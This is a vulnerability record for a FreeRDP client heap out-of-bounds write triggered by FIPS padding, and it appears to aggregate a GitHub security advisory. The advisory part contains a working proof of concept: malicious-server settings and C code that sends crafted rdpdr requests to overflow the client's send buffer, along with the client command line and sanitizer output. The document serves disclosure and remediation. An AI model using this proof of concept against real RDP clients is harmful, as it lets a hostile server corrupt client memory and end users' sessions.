FreeRDP FIPS padding writes past the client send buffer
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · Low · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-p5v9-hjw3-5vmc. Fix status from GitHub.
Summary
FreeRDP versions from 1.0.0 before 3.34.0 write up to 7 bytes past the client send buffer when FIPS padding is applied to a full PDU in rdp_security_stream_out, a heap out-of-bounds write (CWE-787). A malicious RDP server that requires FIPS encryption and advertises a 4057-byte chunk size can make the client send an oversized static-channel message, which overruns the buffer and ends the session. The CVSS 3.1 vector rates the flaw as network-reachable with user interaction required and only low integrity impact.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
Description from the GitHub advisory
### Summary With FIPS standard RDP security, `rdp_security_stream_out()` writes the pad right after the PDU body (`libfreerdp/core/rdp.c:784`). When the PDU exactly fills its 4096-byte send stream, the pad lands past the end of the heap buffer. A malicious server can force this state by doing three things: - requiring FIPS encryption, which the client adopts (`gcc.c:1696`); - advertising `VCChunkSize = 4057`, which the client adopts verbatim (`capabilities.c:2281-2285`); - making the client send a static-channel message larger than 4057 bytes. With one redirected drive, the server can trigger that last step itself: it asks for an `IRP_MJ_READ` with a 5000-byte `Length`. ### Details ```c 765 BYTE* data = Stream_PointerAs(s, BYTE) + 12; 770 length -= size; /* body length */ 772 Stream_Write_UINT16(s, 0x10); 773 Stream_Write_UINT8(s, 0x1); 775 *pad = 8 - (length % 8); 780 if (!Stream_CheckAndLogRequiredCapacityWLog(rdp->log, s, length + *pad)) 784 memset(data + length, 0, *pad); 794 security_fips_encrypt(data, length + *pad, rdp); ``` - **The check at :780 can't catch it.** It is measured from the stream position, which is `data - 9` at that point. It therefore lets an overrun of up to 9 bytes through, and the pad is never more than 7. - **The exact fill.** The channel send stream has capacity 4096 and starts at position 31 (`rdp.c:439`). `freerdp_channel_send_packet()` calls `Stream_EnsureRemainingCapacity(s, chunkSize + 8)` (`channels.c:310`), which only grows the stream when `pos + size > capacity` (`stream.c:111`). With 4057-byte chunks, `31 + 8 + 4057 = 4096`, the body is 4065 bytes, the pad is 7, and the result is `memset(buffer + 4096, 0, 7)`. - `security_fips_encrypt` then rewrites the same 7 bytes as 3DES ciphertext. - Chunk sizes of 4056 and 4058 do not fault. - **After the overflow.** `rdp_send` fails `Stream_SetPosition(s, 4103)` (`rdp.c:880`), so the PDU is never sent and the session ends. ### Proof of concept **Server:** `server/Sample` with two additions. (a) In post-connect: ```c freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE); freerdp_settings_set_bool(settings, FreeRDP_UseRdpSecurityLayer, TRUE); freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, FALSE); freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE); freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_FIPS); freerdp_settings_set_uint32(settings, FreeRDP_VCChunkSize, 4057); ``` (b) At the end of Activate, call this. It runs the rdpdr handshake, creates a 5000-byte file on the client's share, and reads it back: ```c static void put_u32(BYTE* b, size_t* o, UINT32 v) { for (int i = 0; i < 4; i++) b[(*o)++] = (BYTE)(v >> (8 * i)); } static void mal_rdpdr_trigger(testPeerContext* context) { HANDLE ch = WTSVirtualChannelOpen(context->vcm, WTS_CURRENT_SESSION, "rdpdr"); DWORD ret = 0; static const BYTE announce[] = { 0x72,0x44,0x6E,0x49, 0x01,0x00,0x05,0x00, 0x34,0x12,0x00,0x00 }; static const BYTE caps[] = { 0x72,0x44,0x50,0x53, 0x00,0x00,0x00,0x00 }; static const BYTE confirm[] = { 0x72,0x44,0x43,0x43, 0x01,0x00,0x05,0x00, 0x34,0x12,0x00,0x00 }; WTSVirtualChannelWrite(ch, (PCHAR)announce, sizeof(announce), &ret); WTSVirtualChannelWrite(ch, (PCHAR)caps, sizeof(caps), &ret); WTSVirtualChannelWrite(ch, (PCHAR)confirm, sizeof(confirm), &ret); BYTE create[80] = { 0 }, rd[36] = { 0 }; size_t o = 0; /* IRP_MJ_CREATE: DeviceId 1, CompletionId 1, AllocationSize 5000, FILE_OVERWRITE_IF */ const UINT32 c[] = { 0x49524472, 1, 0, 1, 0, 0, 0xC012019F, 5000, 0, 0x80, 3, 5, 0x40, 22 }; for (size_t i = 0; i < ARRAYSIZE(c); i++) put_u32(create, &o, c[i]); for (size_t i = 0; i < 11; i++) { create[o++] = (BYTE)"\\poc161.bin"[i]; create[o++] = 0; } WTSVirtualChannelWrite(ch, (PCHAR)create, (DWORD)o, &ret); Sleep(2000); /* IRP_MJ_READ: DeviceId 1, FileId 2, CompletionId 2, Length 5000, Offset 0 */ o = 0; const UINT32 r[] = { 0x49524472, 1, 2, 2, 3, 0, 5000, 0, 0 }; for (size_t i = 0; i < ARRAYSIZE(r); i++) put_u32(rd, &o, r[i]); WTSVirtualChannelWrite(ch, (PCHAR)rd, (DWORD)o, &ret); } ``` **Client:** unmodified `sfreerdp`, ASan build. Connect over a non-loopback address, because servers turn off standard RDP encryption for loopback peers (`nego.c:1705`): ``` sfreerdp /v:<server-ip>:3399 /cert:ignore /sec:rdp /u:u /p:p /drive:d1,/tmp ``` The result is the same in 2 of 2 runs, and also with 200 drive shares and no read request, where the device-list announce alone exceeds 4057 bytes: ``` ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 7 #2 rdp_security_stream_out libfreerdp/core/rdp.c:784 #3 rdp_send libfreerdp/core/rdp.c:876 #4 freerdp_channel_send_packet libfreerdp/core/channels.c:322 located 0 bytes after 4096-byte region allocated: Stream_New <- rdp_send_stream_init rdp.c:439 <- channels.c:305 ``` A Release build does not crash. The send fails and the client disconnects. `/sec:rdp` keeps the PoC simple. A default client also falls back to standard RDP security when the server refuses TLS and NLA (`FreeRDP_RdpSecurity` defaults to TRUE, `settings.c:1050`), but we did not run that case. ### Impact A malicious server causes a 7-byte heap write past the client's send buffer, followed by a session drop. The bytes are a zero pad that is then overwritten with 3DES ciphertext, so the attacker does not choose them. On glibc they land in the next chunk's `prev_size`. It needs a static channel that sends more than 4057 bytes; drive redirection is opt-in.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | >= 1.0.0 | 3.34.0 | Patch available | GHSA-p5v9-hjw3-5vmc |
- FreeRDP (c) Vendor— Affected >= 1.0.0 Fixed in 3.34.0 Patch available GHSA-p5v9-hjw3-5vmc
Remediation
Upgrade FreeRDP to version 3.34.0 or later.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
- Fix · GHSA-p5v9-hjw3-5vmc FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-03 Threatist record created from GHSA-p5v9-hjw3-5vmc
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences